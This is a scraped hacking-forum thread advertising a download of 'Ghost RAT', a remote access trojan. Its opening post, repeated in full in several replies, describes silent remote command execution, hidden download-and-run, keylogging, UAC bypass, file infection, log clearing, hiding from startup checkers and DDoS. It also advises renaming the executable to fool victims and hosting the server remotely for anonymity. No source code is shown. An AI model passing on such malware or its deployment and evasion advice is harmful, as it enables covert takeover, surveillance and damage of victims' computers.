Multi/Others - GHOST RAT ADVANCED REMOTE ADMINISTRATION TOOL | Tools | Crax

Welcome To Crax.Pro Forum!

Check our new Marketplace at Crax.Shop

   Login! SignUp Now!

Multi/Others GHOST RAT. ADVANCED REMOTE ADMINISTRATION TOOL. UNDETECTED.

LV
1
 

andrewtate

Member
Joined
May 9, 2023
Threads
22
Likes
20
Awards
4
Credits
8,104©
Cash
0$


Download:
Advanced Remote Administration Tool
Technical Information:
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. example: EXE IP PORT

When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage. This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.

When starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be provided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be smart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will likely fool the client/zombie.

Features:
  • Remote command execution
  • Silent background process
  • Download and run file (Hidden)
  • Safe Mode startup
  • UAC Bypass
  • Will automatically connect to the server
  • Data sent and received is encrypted (substitution cipher)
  • Files are hidden
  • File Infector
  • Symmetric Cryptography
  • Hijack Execution Flow: DLL Side-Loading
  • Deobfuscate/Decode Files or Information
  • Input Capture Keylogging
  • Command and Scripting Interpreter
  • Installed Antivirus shown to server
  • Indicator Removal: Clear Windows Event Logs
  • Indicator Removal: File Deletion
  • Easily spread malware through download feature
  • Startup info doesn't show in msconfig or other startup checking programs like CCleaner
  • Disable Task Manager
  • TCP Connections
  • Non-Application Layer Protocol
  • ActiveWindows
  • StartupManager
  • Registry Editor
  • Process Manager
  • Clipboard Manager
  • Shell
  • Installed Programs
  • DDos Attack
  • VB Net Compiler
  • Location Manager [GPS - IP]
  • File Manager
  • Client [Restart - Close - Uninstall - Update - Block - Note]
  • Power [Shutdown - Restart - Logoff]
  • More
Virus Scans:
Virus total Report: https://www.virustotal.com/gui/file/b0bc.../community
HTML Report: https://www.joesandbox.com/analysis/379667/0/html
PDF Report: https://www.joesandbox.com/analysis/379667/0/pdf
Executive Report: https://www.joesandbox.com/analysis/379667/0/executive
Incident Report: https://www.joesandbox.com/analysis/379667/0/irxml
IOCs: https://www.joesandbox.com/analysis/3796...analysisid

Virustotal link https://www.virustotal.com/gui/file...9fd173eb07128aea13af83938ca94ebe4dd/community

No0zSbe

Image 2024 04 24 113900868
 
  • Like
Reactions: seyzo312, TokuHaxor and erenlogangift
LV
1
 

Falty

Member
Joined
Apr 23, 2024
Threads
10
Likes
10
Awards
4
Credits
975©
Cash
0$


Download:
Advanced Remote Administration Tool
Technical Information:
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. example: EXE IP PORT

When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage. This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.

When starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be provided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be smart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will likely fool the client/zombie.

Features:
  • Remote command execution
  • Silent background process
  • Download and run file (Hidden)
  • Safe Mode startup
  • UAC Bypass
  • Will automatically connect to the server
  • Data sent and received is encrypted (substitution cipher)
  • Files are hidden
  • File Infector
  • Symmetric Cryptography
  • Hijack Execution Flow: DLL Side-Loading
  • Deobfuscate/Decode Files or Information
  • Input Capture Keylogging
  • Command and Scripting Interpreter
  • Installed Antivirus shown to server
  • Indicator Removal: Clear Windows Event Logs
  • Indicator Removal: File Deletion
  • Easily spread malware through download feature
  • Startup info doesn't show in msconfig or other startup checking programs like CCleaner
  • Disable Task Manager
  • TCP Connections
  • Non-Application Layer Protocol
  • ActiveWindows
  • StartupManager
  • Registry Editor
  • Process Manager
  • Clipboard Manager
  • Shell
  • Installed Programs
  • DDos Attack
  • VB Net Compiler
  • Location Manager [GPS - IP]
  • File Manager
  • Client [Restart - Close - Uninstall - Update - Block - Note]
  • Power [Shutdown - Restart - Logoff]
  • More
Virus Scans:
Virus total Report: https://www.virustotal.com/gui/file/b0bc.../community
HTML Report: https://www.joesandbox.com/analysis/379667/0/html
PDF Report: https://www.joesandbox.com/analysis/379667/0/pdf
Executive Report: https://www.joesandbox.com/analysis/379667/0/executive
Incident Report: https://www.joesandbox.com/analysis/379667/0/irxml
IOCs: https://www.joesandbox.com/analysis/3796...analysisid

Virustotal link https://www.virustotal.com/gui/file...9fd173eb07128aea13af83938ca94ebe4dd/community

View attachment 200241

*** Hidden text: cannot be quoted. ***
View attachment 200240
Thanks
 
LV
1
 

dwayne_master

Member
Joined
Oct 6, 2023
Threads
11
Likes
19
Awards
4
Credits
8,340©
Cash
0$


Download:
Advanced Remote Administration Tool
Technical Information:
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. example: EXE IP PORT

When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage. This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.

When starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be provided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be smart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will likely fool the client/zombie.

Features:
  • Remote command execution
  • Silent background process
  • Download and run file (Hidden)
  • Safe Mode startup
  • UAC Bypass
  • Will automatically connect to the server
  • Data sent and received is encrypted (substitution cipher)
  • Files are hidden
  • File Infector
  • Symmetric Cryptography
  • Hijack Execution Flow: DLL Side-Loading
  • Deobfuscate/Decode Files or Information
  • Input Capture Keylogging
  • Command and Scripting Interpreter
  • Installed Antivirus shown to server
  • Indicator Removal: Clear Windows Event Logs
  • Indicator Removal: File Deletion
  • Easily spread malware through download feature
  • Startup info doesn't show in msconfig or other startup checking programs like CCleaner
  • Disable Task Manager
  • TCP Connections
  • Non-Application Layer Protocol
  • ActiveWindows
  • StartupManager
  • Registry Editor
  • Process Manager
  • Clipboard Manager
  • Shell
  • Installed Programs
  • DDos Attack
  • VB Net Compiler
  • Location Manager [GPS - IP]
  • File Manager
  • Client [Restart - Close - Uninstall - Update - Block - Note]
  • Power [Shutdown - Restart - Logoff]
  • More
Virus Scans:
Virus total Report: https://www.virustotal.com/gui/file/b0bc.../community
HTML Report: https://www.joesandbox.com/analysis/379667/0/html
PDF Report: https://www.joesandbox.com/analysis/379667/0/pdf
Executive Report: https://www.joesandbox.com/analysis/379667/0/executive
Incident Report: https://www.joesandbox.com/analysis/379667/0/irxml
IOCs: https://www.joesandbox.com/analysis/3796...analysisid

Virustotal link https://www.virustotal.com/gui/file...9fd173eb07128aea13af83938ca94ebe4dd/community

View attachment 200241

*** Hidden text: cannot be quoted. ***
View attachment 200240
kyglkgjk
 
  • Like
Reactions: na9cha
LV
1
 

drackware

Member
Joined
Dec 15, 2021
Threads
22
Likes
6
Awards
4
Credits
1,732©
Cash
0$


Download:
Advanced Remote Administration Tool
Technical Information:
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. example: EXE IP PORT

When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage. This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.

When starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be provided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be smart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will likely fool the client/zombie.

Features:
  • Remote command execution
  • Silent background process
  • Download and run file (Hidden)
  • Safe Mode startup
  • UAC Bypass
  • Will automatically connect to the server
  • Data sent and received is encrypted (substitution cipher)
  • Files are hidden
  • File Infector
  • Symmetric Cryptography
  • Hijack Execution Flow: DLL Side-Loading
  • Deobfuscate/Decode Files or Information
  • Input Capture Keylogging
  • Command and Scripting Interpreter
  • Installed Antivirus shown to server
  • Indicator Removal: Clear Windows Event Logs
  • Indicator Removal: File Deletion
  • Easily spread malware through download feature
  • Startup info doesn't show in msconfig or other startup checking programs like CCleaner
  • Disable Task Manager
  • TCP Connections
  • Non-Application Layer Protocol
  • ActiveWindows
  • StartupManager
  • Registry Editor
  • Process Manager
  • Clipboard Manager
  • Shell
  • Installed Programs
  • DDos Attack
  • VB Net Compiler
  • Location Manager [GPS - IP]
  • File Manager
  • Client [Restart - Close - Uninstall - Update - Block - Note]
  • Power [Shutdown - Restart - Logoff]
  • More
Virus Scans:
Virus total Report: https://www.virustotal.com/gui/file/b0bc.../community
HTML Report: https://www.joesandbox.com/analysis/379667/0/html
PDF Report: https://www.joesandbox.com/analysis/379667/0/pdf
Executive Report: https://www.joesandbox.com/analysis/379667/0/executive
Incident Report: https://www.joesandbox.com/analysis/379667/0/irxml
IOCs: https://www.joesandbox.com/analysis/3796...analysisid

Virustotal link https://www.virustotal.com/gui/file...9fd173eb07128aea13af83938ca94ebe4dd/community

View attachment 200241

*** Hidden text: cannot be quoted. ***
View attachment 200240
tryyy
 
  • Like
Reactions: RICOX316
LV
1
 

zhonow

Member
Joined
Apr 19, 2024
Threads
11
Likes
6
Awards
4
Credits
2,217©
Cash
0$


Download:
Advanced Remote Administration Tool
Technical Information:
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. example: EXE IP PORT

When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage. This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.

When starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be provided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be smart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will likely fool the client/zombie.

Features:
  • Remote command execution
  • Silent background process
  • Download and run file (Hidden)
  • Safe Mode startup
  • UAC Bypass
  • Will automatically connect to the server
  • Data sent and received is encrypted (substitution cipher)
  • Files are hidden
  • File Infector
  • Symmetric Cryptography
  • Hijack Execution Flow: DLL Side-Loading
  • Deobfuscate/Decode Files or Information
  • Input Capture Keylogging
  • Command and Scripting Interpreter
  • Installed Antivirus shown to server
  • Indicator Removal: Clear Windows Event Logs
  • Indicator Removal: File Deletion
  • Easily spread malware through download feature
  • Startup info doesn't show in msconfig or other startup checking programs like CCleaner
  • Disable Task Manager
  • TCP Connections
  • Non-Application Layer Protocol
  • ActiveWindows
  • StartupManager
  • Registry Editor
  • Process Manager
  • Clipboard Manager
  • Shell
  • Installed Programs
  • DDos Attack
  • VB Net Compiler
  • Location Manager [GPS - IP]
  • File Manager
  • Client [Restart - Close - Uninstall - Update - Block - Note]
  • Power [Shutdown - Restart - Logoff]
  • More
Virus Scans:
Virus total Report: https://www.virustotal.com/gui/file/b0bc.../community
HTML Report: https://www.joesandbox.com/analysis/379667/0/html
PDF Report: https://www.joesandbox.com/analysis/379667/0/pdf
Executive Report: https://www.joesandbox.com/analysis/379667/0/executive
Incident Report: https://www.joesandbox.com/analysis/379667/0/irxml
IOCs: https://www.joesandbox.com/analysis/3796...analysisid

Virustotal link https://www.virustotal.com/gui/file...9fd173eb07128aea13af83938ca94ebe4dd/community

View attachment 200241

*** Hidden text: cannot be quoted. ***
View attachment 200240
checking..
 
LV
1
 

bedirha

Member
Joined
May 25, 2024
Threads
10
Likes
2
Awards
4
Credits
626©
Cash
0$


Download:
Advanced Remote Administration Tool
Technical Information:
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. example: EXE IP PORT

When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage. This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.

When starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be provided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be smart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will likely fool the client/zombie.

Features:
  • Remote command execution
  • Silent background process
  • Download and run file (Hidden)
  • Safe Mode startup
  • UAC Bypass
  • Will automatically connect to the server
  • Data sent and received is encrypted (substitution cipher)
  • Files are hidden
  • File Infector
  • Symmetric Cryptography
  • Hijack Execution Flow: DLL Side-Loading
  • Deobfuscate/Decode Files or Information
  • Input Capture Keylogging
  • Command and Scripting Interpreter
  • Installed Antivirus shown to server
  • Indicator Removal: Clear Windows Event Logs
  • Indicator Removal: File Deletion
  • Easily spread malware through download feature
  • Startup info doesn't show in msconfig or other startup checking programs like CCleaner
  • Disable Task Manager
  • TCP Connections
  • Non-Application Layer Protocol
  • ActiveWindows
  • StartupManager
  • Registry Editor
  • Process Manager
  • Clipboard Manager
  • Shell
  • Installed Programs
  • DDos Attack
  • VB Net Compiler
  • Location Manager [GPS - IP]
  • File Manager
  • Client [Restart - Close - Uninstall - Update - Block - Note]
  • Power [Shutdown - Restart - Logoff]
  • More
Virus Scans:
Virus total Report: https://www.virustotal.com/gui/file/b0bc.../community
HTML Report: https://www.joesandbox.com/analysis/379667/0/html
PDF Report: https://www.joesandbox.com/analysis/379667/0/pdf
Executive Report: https://www.joesandbox.com/analysis/379667/0/executive
Incident Report: https://www.joesandbox.com/analysis/379667/0/irxml
IOCs: https://www.joesandbox.com/analysis/3796...analysisid

Virustotal link https://www.virustotal.com/gui/file...9fd173eb07128aea13af83938ca94ebe4dd/community

View attachment 200241

*** Hidden text: cannot be quoted. ***
View attachment 200240
coool
 
LV
5
 

seyzo312

Member
Joined
Dec 28, 2022
Threads
611
Likes
1,197
Awards
11
Credits
48,173©
Cash
0$


Download:
Advanced Remote Administration Tool
Technical Information:
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.

This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. example: EXE IP PORT

When successfully started, it adds itself to the start-up pool and runs silently in the background. It will try to repeatedly connect to the server. This process does not hog any memory or CPU usage. This means that the zombie will silently just idle in the background and whenever the server is up, it will automatically connect.

When starting the server, it will prompt for you a listening port. This is the port that you need to use in the command-line for zombie.exe. Once you provide the port, your server information will be provided and the menu will be down. The IP address provided is your external IP. With that being said, unless the client/zombie is actively looking and tracking open connections, it will probably be smart to run this server under a remote location if you want to stay anonymous. If this does not interest you, simply renaming zombie.exe and/or changing the assembly information using a tool will likely fool the client/zombie.

Features:
  • Remote command execution
  • Silent background process
  • Download and run file (Hidden)
  • Safe Mode startup
  • UAC Bypass
  • Will automatically connect to the server
  • Data sent and received is encrypted (substitution cipher)
  • Files are hidden
  • File Infector
  • Symmetric Cryptography
  • Hijack Execution Flow: DLL Side-Loading
  • Deobfuscate/Decode Files or Information
  • Input Capture Keylogging
  • Command and Scripting Interpreter
  • Installed Antivirus shown to server
  • Indicator Removal: Clear Windows Event Logs
  • Indicator Removal: File Deletion
  • Easily spread malware through download feature
  • Startup info doesn't show in msconfig or other startup checking programs like CCleaner
  • Disable Task Manager
  • TCP Connections
  • Non-Application Layer Protocol
  • ActiveWindows
  • StartupManager
  • Registry Editor
  • Process Manager
  • Clipboard Manager
  • Shell
  • Installed Programs
  • DDos Attack
  • VB Net Compiler
  • Location Manager [GPS - IP]
  • File Manager
  • Client [Restart - Close - Uninstall - Update - Block - Note]
  • Power [Shutdown - Restart - Logoff]
  • More
Virus Scans:
Virus total Report: https://www.virustotal.com/gui/file/b0bc.../community
HTML Report: https://www.joesandbox.com/analysis/379667/0/html
PDF Report: https://www.joesandbox.com/analysis/379667/0/pdf
Executive Report: https://www.joesandbox.com/analysis/379667/0/executive
Incident Report: https://www.joesandbox.com/analysis/379667/0/irxml
IOCs: https://www.joesandbox.com/analysis/3796...analysisid

Virustotal link https://www.virustotal.com/gui/file...9fd173eb07128aea13af83938ca94ebe4dd/community

View attachment 200241

*** Hidden text: cannot be quoted. ***
View attachment 200240
thxxxxxxxxxxxx
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Similar threads

Top Bottom